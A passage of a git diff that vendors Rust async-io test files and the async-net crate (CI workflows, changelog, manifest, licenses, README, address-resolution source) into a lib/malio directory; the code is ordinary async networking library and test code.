socket2.read_to_end(&mut v).await?; + assert!(v.is_empty()); + + task.await; + Ok(()) + }) +} + +// Test that we correctly re-register interests after we've previously been +// interested in both readable and writable events and then we get only one of +// those (we need to re-register interest on the other). +#[test] +fn tcp_duplex() -> io::Result<()> { + future::block_on(async { + let listener = Async::::bind(([127, 0, 0, 1], 0))?; + let stream1 = + Arc::new(Async::::connect(listener.get_ref().local_addr()?).await?); + let stream2 = Arc::new(listener.accept().await?.0); + + async fn do_read(s: Arc>) -> io::Result<()> { + let mut buf = vec![0u8; 4096]; + loop { + let len = (&*s).read(&mut buf).await?; + if len == 0 { + return Ok(()); + } + } + } + + async fn do_write(s: Arc>) -> io::Result<()> { + let buf = vec![0u8; 4096]; + for _ in 0..4096 { + (&*s).write_all(&buf).await?; + } + s.get_ref().shutdown(Shutdown::Write)?; + Ok(()) + } + + // Read from and write to stream1. + let r1 = spawn(do_read(stream1.clone())); + let w1 = spawn(do_write(stream1)); + + // Sleep a bit, so that reading and writing are both blocked. + Timer::after(Duration::from_millis(5)).await; + + // Start reading stream2, make stream1 writable. + let r2 = spawn(do_read(stream2.clone())); + + // Finish writing to stream1. + w1.await?; + r2.await?; + + // Start writing to stream2, make stream1 readable. + let w2 = spawn(do_write(stream2)); + + // Will r1 be correctly woken? + r1.await?; + w2.await?; + + Ok(()) + }) +} + +#[test] +fn shutdown() -> io::Result<()> { + future::block_on(async { + let listener = Async::::bind(([127, 0, 0, 1], 0))?; + let addr = listener.get_ref().local_addr()?; + let ((mut reader, _), writer) = + future::try_zip(listener.accept(), Async::::connect(addr)).await?; + + // The writer must be closed in order for `read_to_end()` to finish. + let mut buf = Vec::new(); + future::try_zip(reader.read_to_end(&mut buf), async { + writer.get_ref().shutdown(Shutdown::Write) + }) + .await?; + + Ok(()) + }) +} + +// prevent source from unregistering by trying to register it twice +#[test] +fn duplicate_socket_insert() -> io::Result<()> { + future::block_on(async { + let listener = Async::::bind(([127, 0, 0, 1], 0))?; + let addr = listener.as_ref().local_addr()?; + + // attempt to register twice + assert!(Async::new(&listener).is_err(), "fails upon second insert"); + + // Read and Write to confirm socket did not deregister on duplication attempt + // Write to stream_w + let mut stream_w = Async::::connect(addr).await?; + stream_w.write(LOREM_IPSUM).await?; + stream_w.get_ref().shutdown(Shutdown::Write)?; + + // Read from stream_r + let mut stream_r = listener.accept().await?.0; + let mut buffer = vec![0; LOREM_IPSUM.len()]; + stream_r.read_exact(&mut buffer).await?; + + assert_eq!(buffer, LOREM_IPSUM); + + Ok(()) + }) +} + +#[cfg(any(target_os = "linux", target_os = "android"))] +#[test] +fn abstract_socket() -> io::Result<()> { + use std::ffi::OsStr; + #[cfg(target_os = "android")] + use std::os::android::net::SocketAddrExt; + #[cfg(target_os = "linux")] + use std::os::linux::net::SocketAddrExt; + use std::os::unix::ffi::OsStrExt; + use std::os::unix::net::{SocketAddr, UnixListener, UnixStream}; + + future::block_on(async { + // Bind a listener to a socket. + let path = OsStr::from_bytes(b"\0smolabstract"); + let addr = SocketAddr::from_abstract_name(b"smolabstract")?; + let listener = Async::new(UnixListener::bind_addr(&addr)?)?; + + // Future that connects to the listener. + let connector = async { + // Connect to the socket. + let mut stream = Async::::connect(path).await?; + + // Write some bytes to the stream. + stream.write_all(LOREM_IPSUM).await?; + + // Read some bytes from the stream. + let mut buf = vec![0; LOREM_IPSUM.len()]; + stream.read_exact(&mut buf).await?; + assert_eq!(buf.as_slice(), LOREM_IPSUM); + + io::Result::Ok(()) + }; + + // Future that drives the listener. + let driver = async { + // Wait for a new connection. + let (mut stream, _) = listener.accept().await?; + + // Read some bytes from the stream. + let mut buf = vec![0; LOREM_IPSUM.len()]; + stream.read_exact(&mut buf).await?; + assert_eq!(buf.as_slice(), LOREM_IPSUM); + + // Write some bytes to the stream. + stream.write_all(LOREM_IPSUM).await?; + + io::Result::Ok(()) + }; + + // Run both in parallel. + future::try_zip(connector, driver).await?; + + Ok(()) + }) +} diff --git a/lib/malio/async-io/tests/block_on.rs b/lib/malio/async-io/tests/block_on.rs new file mode 100644 index 0000000..70241f0 --- /dev/null +++ b/lib/malio/async-io/tests/block_on.rs @@ -0,0 +1,178 @@ +use async_io::block_on; +use std::{ + future::Future, + pin::Pin, + task::{Context, Poll, Waker}, + time::{Duration, Instant}, +}; + +#[test] +fn doesnt_poll_after_ready() { + #[derive(Default)] + struct Bomb { + returned_ready: bool, + } + impl Future for Bomb { + type Output = (); + + fn poll(mut self: Pin<&mut Self>, _cx: &mut Context<'_>) -> Poll { + if self.returned_ready { + panic!("Future was polled again after returning Poll::Ready"); + } else { + self.returned_ready = true; + Poll::Ready(()) + } + } + } + + block_on(Bomb::default()) +} + +#[test] +fn recursive_wakers_are_different() { + struct Outer; + impl Future for Outer { + type Output = (); + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + let outer_waker = cx.waker(); + block_on(Inner { outer_waker }); + Poll::Ready(()) + } + } + + struct Inner<'a> { + pub outer_waker: &'a Waker, + } + impl Future for Inner<'_> { + type Output = (); + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + let inner_waker = cx.waker(); + assert!(!inner_waker.will_wake(self.outer_waker)); + Poll::Ready(()) + } + } + + block_on(Outer); +} + +#[test] +fn inner_cannot_wake_outer() { + #[derive(Default)] + struct Outer { + elapsed: Option, + } + impl Future for Outer { + type Output = (); + + fn poll(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + if let Some(elapsed) = self.elapsed { + assert!(elapsed.elapsed() >= Duration::from_secs(1)); + Poll::Ready(()) + } else { + let outer_waker = cx.waker().clone(); + block_on(Inner); + std::thread::spawn(|| { + std::thread::sleep(Duration::from_secs(1)); + outer_waker.wake(); + }); + self.elapsed = Some(Instant::now()); + Poll::Pending + } + } + } + + struct Inner; + impl Future for Inner { + type Output = (); + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + let inner_waker = cx.waker(); + inner_waker.wake_by_ref(); + Poll::Ready(()) + } + } + + block_on(Outer::default()); +} + +#[test] +fn outer_cannot_wake_inner() { + struct Outer; + impl Future for Outer { + type Output = (); + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + let outer_waker = cx.waker(); + outer_waker.wake_by_ref(); + block_on(Inner::default()); + Poll::Ready(()) + } + } + + #[derive(Default)] + struct Inner { + elapsed: Option, + } + impl Future for Inner { + type Output = (); + + fn poll(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + if let Some(elapsed) = self.elapsed { + assert!(elapsed.elapsed() >= Duration::from_secs(1)); + Poll::Ready(()) + } else { + let inner_waker = cx.waker().clone(); + std::thread::spawn(|| { + std::thread::sleep(Duration::from_secs(1)); + inner_waker.wake(); + }); + self.elapsed = Some(Instant::now()); + Poll::Pending + } + } + } + + block_on(Outer); +} + +#[test] +fn first_cannot_wake_second() { + struct First; + impl Future for First { + type Output = (); + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + let first_waker = cx.waker(); + first_waker.wake_by_ref(); + Poll::Ready(()) + } + } + + #[derive(Default)] + struct Second { + elapsed: Option, + } + impl Future for Second { + type Output = (); + + fn poll(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + if let Some(elapsed) = self.elapsed { + assert!(elapsed.elapsed() >= Duration::from_secs(1)); + Poll::Ready(()) + } else { + let second_waker = cx.waker().clone(); + std::thread::spawn(|| { + std::thread::sleep(Duration::from_secs(1)); + second_waker.wake(); + }); + self.elapsed = Some(Instant::now()); + Poll::Pending + } + } + } + + block_on(First); + block_on(Second::default()); +} diff --git a/lib/malio/async-io/tests/issue_182.rs b/lib/malio/async-io/tests/issue_182.rs new file mode 100644 index 0000000..b49162b --- /dev/null +++ b/lib/malio/async-io/tests/issue_182.rs @@ -0,0 +1,24 @@ +//! https://github.com/smol-rs/async-io/issues/182 + +use async_io::Async; +use std::net::{TcpStream, ToSocketAddrs}; + +#[test] +fn networking_initialized() { + let address = match ToSocketAddrs::to_socket_addrs(&("google.com", 80)) { + Ok(mut addrs) => addrs.next().unwrap(), + Err(err) => { + eprintln!("Got error {err} when looking up google.com, exiting test early."); + return; + } + }; + + // Make sure we can access the host normally. + if TcpStream::connect(address).is_err() { + return; + } + + async_io::block_on(async move { + let _ = Async::::connect(address).await.unwrap(); + }); +} diff --git a/lib/malio/async-io/tests/timer.rs b/lib/malio/async-io/tests/timer.rs new file mode 100644 index 0000000..c598ed7 --- /dev/null +++ b/lib/malio/async-io/tests/timer.rs @@ -0,0 +1,99 @@ +use std::future::{poll_fn, Future}; +use std::pin::Pin; +use std::sync::{Arc, Mutex}; +use std::thread; +use std::time::{Duration, Instant}; + +use async_io::Timer; +use futures_lite::{future, FutureExt, StreamExt}; + +fn spawn( + f: impl Future + Send + 'static, +) -> impl Future + Send + 'static { + let (s, r) = async_channel::bounded(1); + + thread::spawn(move || { + future::block_on(async { + s.send(f.await).await.ok(); + }) + }); + + Box::pin(async move { r.recv().await.unwrap() }) +} + +#[test] +fn smoke() { + future::block_on(async { + let start = Instant::now(); + Timer::after(Duration::from_secs(1)).await; + assert!(start.elapsed() >= Duration::from_secs(1)); + }); +} + +#[test] +fn interval() { + future::block_on(async { + let period = Duration::from_secs(1); + let jitter = Duration::from_millis(500); + let start = Instant::now(); + let mut timer = Timer::interval(period); + timer.next().await; + let elapsed = start.elapsed(); + assert!(elapsed >= period && elapsed - period < jitter); + timer.next().await; + let elapsed = start.elapsed(); + assert!(elapsed >= period * 2 && elapsed - period * 2 < jitter); + }); +} + +#[test] +fn poll_across_tasks() { + future::block_on(async { + let start = Instant::now(); + let (sender, receiver) = async_channel::bounded(1); + + let task1 = spawn(async move { + let mut timer = Timer::after(Duration::from_secs(1)); + + async { + (&mut timer).await; + panic!("timer should not be ready") + } + .or(async {}) + .await; + + sender.send(timer).await.ok(); + }); + + let task2 = spawn(async move { + let timer = receiver.recv().await.unwrap(); + timer.await; + }); + + task1.await; + task2.await; + + assert!(start.elapsed() >= Duration::from_secs(1)); + }); +} + +#[test] +fn set() { + future::block_on(async { + let start = Instant::now(); + let timer = Arc::new(Mutex::new(Timer::after(Duration::from_secs(10)))); + + thread::spawn({ + let timer = timer.clone(); + move || { + thread::sleep(Duration::from_secs(1)); + timer.lock().unwrap().set_after(Duration::from_secs(2)); + } + }); + + poll_fn(|cx| Pin::new(&mut *timer.lock().unwrap()).poll(cx)).await; + + assert!(start.elapsed() >= Duration::from_secs(2)); + assert!(start.elapsed() < Duration::from_secs(10)); + }); +} diff --git a/lib/malio/async-net/.github/dependabot.yml b/lib/malio/async-net/.github/dependabot.yml new file mode 100644 index 0000000..52f7945 --- /dev/null +++ b/lib/malio/async-net/.github/dependabot.yml @@ -0,0 +1,9 @@ +version: 2 +updates: + - package-ecosystem: cargo + directory: / + schedule: + interval: weekly + commit-message: + prefix: '' + labels: [] diff --git a/lib/malio/async-net/.github/workflows/ci.yml b/lib/malio/async-net/.github/workflows/ci.yml new file mode 100644 index 0000000..456c500 --- /dev/null +++ b/lib/malio/async-net/.github/workflows/ci.yml @@ -0,0 +1,78 @@ +name: CI + +permissions: + contents: read + +on: + pull_request: + push: + branches: + - master + schedule: + - cron: '0 2 * * 0' + +env: + CARGO_INCREMENTAL: 0 + CARGO_NET_GIT_FETCH_WITH_CLI: true + CARGO_NET_RETRY: 10 + CARGO_TERM_COLOR: always + RUST_BACKTRACE: 1 + RUSTFLAGS: -D warnings + RUSTDOCFLAGS: -D warnings + RUSTUP_MAX_RETRIES: 10 + +defaults: + run: + shell: bash + +jobs: + fmt: + uses: smol-rs/.github/.github/workflows/fmt.yml@main + security_audit: + uses: smol-rs/.github/.github/workflows/security_audit.yml@main + permissions: + checks: write + contents: read + issues: write + secrets: inherit + + test: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest, macos-latest] + rust: [nightly, beta, stable] + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update ${{ matrix.rust }} && rustup default ${{ matrix.rust }} + - run: cargo build --all --all-features --all-targets + - name: Run cargo check (without dev-dependencies to catch missing feature flags) + if: startsWith(matrix.rust, 'nightly') + run: cargo check -Z features=dev_dep + - run: cargo test + + msrv: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest] + # When updating this, the reminder to update the minimum supported + # Rust version in Cargo.toml. + rust: ['1.63'] + steps: + - uses: actions/checkout@v4 + - name: Install Rust + # --no-self-update is necessary because the windows environment cannot self-update rustup.exe. + run: rustup update ${{ matrix.rust }} --no-self-update && rustup default ${{ matrix.rust }} + - run: cargo build + + clippy: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update stable + - run: cargo clippy --all-features --all-targets diff --git a/lib/malio/async-net/.github/workflows/release.yml b/lib/malio/async-net/.github/workflows/release.yml new file mode 100644 index 0000000..59fad1f --- /dev/null +++ b/lib/malio/async-net/.github/workflows/release.yml @@ -0,0 +1,22 @@ +name: Release + +permissions: + contents: write + +on: + push: + tags: + - v[0-9]+.* + +jobs: + create-release: + if: github.repository_owner == 'smol-rs' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: taiki-e/create-gh-release-action@v1 + with: + changelog: CHANGELOG.md + branch: master + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/lib/malio/async-net/.gitignore b/lib/malio/async-net/.gitignore new file mode 100644 index 0000000..96ef6c0 --- /dev/null +++ b/lib/malio/async-net/.gitignore @@ -0,0 +1,2 @@ +/target +Cargo.lock diff --git a/lib/malio/async-net/CHANGELOG.md b/lib/malio/async-net/CHANGELOG.md new file mode 100644 index 0000000..1e5f4d7 --- /dev/null +++ b/lib/malio/async-net/CHANGELOG.md @@ -0,0 +1,88 @@ +# Version 2.0.0 + +- **Breaking:** Bump `async-io` to version 2.0.0. (#28) +- Bump `futures-lite` to version 2.0.0. (#29) + +# Version 1.8.0 + +- Bump MSRV to 1.63. (#23) + +# Version 1.7.0 + +- Implement I/O safety traits on Rust 1.63+ (#21) + +# Version 1.6.1 + +- Override `AsyncWrite::poll_write_vectored` for `TcpStream`. +- Remove boxed futures from `TcpStream` and `UnixStream`. + +# Version 1.6.0 + +- Add `From` impls for conversion into inner networking types `Arc>`. (#12) +- Optimize allocations in Listeners. (#11) + +# Version 1.5.0 + +- Add `Into` impls for conversion into inner networking types `Arc>`. + +# Version 1.4.7 + +- Update `futures-lite`. + +# Version 1.4.6 + +- Remove random yielding - rely on `async-io` for that instead. + +# Version 1.4.5 + +- Don't poll `readiness()` future again after it has returned an error. + +# Version 1.4.4 + +- Store `readable` future inside `Incoming` struct. + +# Version 1.4.3 + +- Minor nits in the docs. + +# Version 1.4.2 + +- Make `TcpStream` and `UnixStream` unwind-safe. + +# Version 1.4.1 + +- Make `TcpStream` and `UnixStream` implement `Sync`. + +# Version 1.4.0 + +- Remove `AsyncRead`/`AsyncWrite` impls for `&TcpStream`/`&UnixStream` + (technically a breaking change, but the existence of these impls is a bug) + +# Version 1.3.0 + +- Add type converstions using `From` and `TryFrom` impls. + +# Version 1.2.0 + +- Update `blocking` and `async-io` to v1.0 + +# Version 1.1.0 + +- Reexport `AddrParseError`. + +# Version 1.0.0 + +- Add `resolve()`. +- Re-export more types from `std::net`. + +# Version 0.1.2 + +- Update `blocking` to v0.5.0 + +# Version 0.1.1 + +- Reduce the number of dependencies + +# Version 0.1.0 + +- Initial version diff --git a/lib/malio/async-net/Cargo.toml b/lib/malio/async-net/Cargo.toml new file mode 100644 index 0000000..20a2ef8 --- /dev/null +++ b/lib/malio/async-net/Cargo.toml @@ -0,0 +1,22 @@ +[package] +name = "async-net" +# When publishing a new version: +# - Update CHANGELOG.md +# - Create "v2.x.y" git tag +version = "2.0.0" +authors = ["Stjepan Glavina "] +edition = "2021" +rust-version = "1.63" +description = "Async networking primitives for TCP/UDP/Unix communication" +license = "Apache-2.0 OR MIT" +repository = "https://github.com/smol-rs/async-net" +homepage = "https://github.com/smol-rs/async-net" +documentation = "https://docs.rs/async-net" +keywords = ["networking", "uds", "mio", "reactor", "std"] +categories = ["asynchronous", "network-programming", "os"] +exclude = ["/.*"] + +[dependencies] +async-io = "2.0.0" +blocking = "1.0.0" +futures-lite = "2.0.0" diff --git a/lib/malio/async-net/LICENSE-APACHE b/lib/malio/async-net/LICENSE-APACHE new file mode 100644 index 0000000..16fe87b --- /dev/null +++ b/lib/malio/async-net/LICENSE-APACHE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + +TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + +1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + +3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + +4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + +END OF TERMS AND CONDITIONS + +APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + +Copyright [yyyy] [name of copyright owner] + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. diff --git a/lib/malio/async-net/LICENSE-MIT b/lib/malio/async-net/LICENSE-MIT new file mode 100644 index 0000000..31aa793 --- /dev/null +++ b/lib/malio/async-net/LICENSE-MIT @@ -0,0 +1,23 @@ +Permission is hereby granted, free of charge, to any +person obtaining a copy of this software and associated +documentation files (the "Software"), to deal in the +Software without restriction, including without +limitation the rights to use, copy, modify, merge, +publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software +is furnished to do so, subject to the following +conditions: + +The above copyright notice and this permission notice +shall be included in all copies or substantial portions +of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT +SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR +IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +DEALINGS IN THE SOFTWARE. diff --git a/lib/malio/async-net/README.md b/lib/malio/async-net/README.md new file mode 100644 index 0000000..06af360 --- /dev/null +++ b/lib/malio/async-net/README.md @@ -0,0 +1,55 @@ +# async-net + +[![Build](https://github.com/smol-rs/async-net/workflows/Build%20and%20test/badge.svg)]( +https://github.com/smol-rs/async-net/actions) +[![License](https://img.shields.io/badge/license-Apache--2.0_OR_MIT-blue.svg)]( +https://github.com/smol-rs/async-net) +[![Cargo](https://img.shields.io/crates/v/async-net.svg)]( +https://crates.io/crates/async-net) +[![Documentation](https://docs.rs/async-net/badge.svg)]( +https://docs.rs/async-net) + +Async networking primitives for TCP/UDP/Unix communication. + +This crate is an async version of [`std::net`] and [`std::os::unix::net`]. + +[`std::net`]: https://doc.rust-lang.org/std/net/index.html +[`std::os::unix::net`]: https://doc.rust-lang.org/std/os/unix/net/index.html + +## Implementation + +This crate uses [`async-io`] for async I/O and [`blocking`] for DNS lookups. + +[`async-io`]: https://docs.rs/async-io +[`blocking`]: https://docs.rs/blocking + +## Examples + +A simple UDP server that echoes messages back to the sender: + +```rust +use async_net::UdpSocket; + +let socket = UdpSocket::bind("127.0.0.1:8080").await?; +let mut buf = vec![0u8; 1024]; + +loop { + let (n, addr) = socket.recv_from(&mut buf).await?; + socket.send_to(&buf[..n], &addr).await?; +} +``` + +## License + +Licensed under either of + + * Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE) or http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +#### Contribution + +Unless you explicitly state otherwise, any contribution intentionally submitted +for inclusion in the work by you, as defined in the Apache-2.0 license, shall be +dual licensed as above, without any additional terms or conditions. diff --git a/lib/malio/async-net/src/addr.rs b/lib/malio/async-net/src/addr.rs new file mode 100644 index 0000000..d210916 --- /dev/null +++ b/lib/malio/async-net/src/addr.rs @@ -0,0 +1,212 @@ +use std::fmt; +use std::future::Future; +use std::io; +use std::mem; +use std::net::{IpAddr, Ipv4Addr, Ipv6Addr}; +use std::net::{SocketAddr, SocketAddrV4, SocketAddrV6, ToSocketAddrs}; +use std::pin::Pin; +use std::task::{Context, Poll}; + +use blocking::unblock; +use futures_lite::future; + +/// Converts or resolves addresses to [`SocketAddr`] values. +/// +/// This trait currently only appears in function signatures and cannot be used directly. +/// +/// However, you can use the [`resolve()`][`super::resolve()`] function to resolve addresses. +pub trait AsyncToSocketAddrs: Sealed {} + +pub trait Sealed { + /// Returned iterator over socket addresses which this type may correspond to. + type Iter: Iterator + Unpin; + + /// Converts this object to an iterator of resolved `SocketAddr`s. + /// + /// The returned iterator may not actually yield any values depending on the outcome of any + /// resolution performed. + /// + /// Note that this function may block a backend thread while resolution is performed. + fn to_socket_addrs(&self) -> ToSocketAddrsFuture; +} + +pub enum ToSocketAddrsFuture { + Resolving(future::Boxed>), + Ready(io::Result), + Done, +} + +impl fmt::Debug for ToSocketAddrsFuture { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "ToSocketAddrsFuture") + } +} + +impl + Unpin> Future for ToSocketAddrsFuture { + type Output = io::Result; + + fn poll(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + let state = mem::replace(&mut *self, ToSocketAddrsFuture::Done); + + match state { + ToSocketAddrsFuture::Resolving(mut task) => { + let poll = Pin::new(&mut task).poll(cx); + if poll.is_pending() { + *self = ToSocketAddrsFuture::Resolving(task); + } + poll + } + ToSocketAddrsFuture::Ready(res) => Poll::Ready(res), + ToSocketAddrsFuture::Done => panic!("polled a completed future"), + } + } +} + +impl AsyncToSocketAddrs for SocketAddr {} + +impl Sealed for SocketAddr { + type Iter = std::option::IntoIter; + + fn to_socket_addrs(&self) -> ToSocketAddrsFuture { + ToSocketAddrsFuture::Ready(Ok(Some(*self).into_iter())) + } +} + +impl AsyncToSocketAddrs for SocketAddrV4 {} + +impl Sealed for SocketAddrV4 { + type Iter = std::option::IntoIter; + + fn to_socket_addrs(&self) -> ToSocketAddrsFuture { + Sealed::to_socket_addrs(&SocketAddr::V4(*self)) + } +} + +impl AsyncToSocketAddrs for SocketAddrV6 {} + +impl Sealed for SocketAddrV6 { + type Iter = std::option::IntoIter; + + fn to_socket_addrs(&self) -> ToSocketAddrsFuture { + Sealed::to_socket_addrs(&SocketAddr::V6(*self)) + } +} + +impl AsyncToSocketAddrs for (IpAddr, u16) {} + +impl Sealed for (IpAddr, u16) { + type Iter = std::option::IntoIter; + + fn to_socket_addrs(&self) -> ToSocketAddrsFuture { + let (ip, port) = *self; + match ip { + IpAddr::V4(a) => Sealed::to_socket_addrs(&(a, port)), + IpAddr::V6(a) => Sealed::to_socket_addrs(&(a, port)), + } + } +} + +impl AsyncToSocketAddrs for (Ipv4Addr, u16) {} + +impl Sealed for (Ipv4Addr, u16) { + type Iter = std::option::IntoIter; + + fn to_socket_addrs(&self) -> ToSocketAddrsFuture { + let (ip, port) = *self; + Sealed::to_socket_addrs(&SocketAddrV4::new(ip, port)) + } +} + +impl AsyncToSocketAddrs for (Ipv6Addr, u16) {} + +impl Sealed for (Ipv6Addr, u16) { + type Iter = std::option::IntoIter; + + fn to_socket_addrs(&self) -> 